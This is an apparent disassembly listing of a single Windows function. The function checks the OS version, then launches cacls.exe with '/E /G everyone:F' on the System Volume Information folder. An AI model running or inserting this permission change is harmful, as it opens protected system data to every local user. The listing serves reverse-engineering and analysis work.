Function at 0x14021ef40
Capabilities:
Check os version
Create process on windows
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x488]
sub rsp, 0x580
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
xor edx, edx
mov r8d, SysAllocStringByteLen
lea rcx, [rbp - 0x30]
call fcn.140249b10
lea rsi, vtable.CSABString.0
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x30], 0
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.140247068
mov rdi, rax
mov qword [rsp + 0x28], rax
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov dword [rsp + 0x34], 1
mov dword [rbp - 0x30], SysAllocStringByteLen
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rbp - 0x20], 2
jne 0x14021f15e
xor edx, edx
lea r8d, [rdx + 0x70]
lea rcx, [rsp + 0x60]
call fcn.140249b10
cmp dword [rbp - 0x2c], 5
jne 0x14021efee
cmp dword [rbp - 0x28], 2
jb 0x14021f15e
mov edx, 0x410
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea rdx, str.System_Volume_Information
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
test rdi, rdi
je 0x14021f038
mov rcx, rdi
call fcn.140247060
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14021f043
mov dword [rsp + 0x30], ebx
lea eax, [rbx + 1]
mov edi, eax
mov ecx, eax
call fcn.140247068
mov r14, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14021f078
mov r8d, edi
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1402496a0
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x48], reloc.COMCTL32.dll_InitCommonControls
mov ecx, send
call fcn.140247068
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14021f0b1
movups xmm0, xmmword [str.__E__G_everyone:F]
movups xmmword [rax], xmm0
movzx ecx, word [0x140299500]
mov word [rax + 0x10], cx
mov dword [rsp + 0x4c], 1
lea ecx, [rbx + 0x12]
call fcn.140247068
mov rdi, rax
test r14, r14
je 0x14021f0e8
mov rcx, r14
mov rdx, rax
sub rdx, r14
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14021f0d2
mov rcx, r14
call fcn.140247060
test rdi, rdi
je 0x14021f0ff
mov ecx, ebx
movups xmm0, xmmword [rsi]
movups xmmword [rcx + rdi], xmm0
movzx eax, word [rsi + 0x10]
mov word [rcx + rdi + 0x10], ax
test rsi, rsi
je 0x14021f10c
mov rcx, rsi
call fcn.140247060
mov dword [rsp + 0x60], WSACleanup
lea rax, str.cacls.exe
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rdi
lea rax, [0x140299514]
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x70], 0
mov dword [rsp + 0x64], 0x440
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x14021f15e
mov edx, 0x2710
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test rdi, rdi
je 0x14021f16b
mov rcx, rdi
call fcn.140247060
mov eax, 1
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret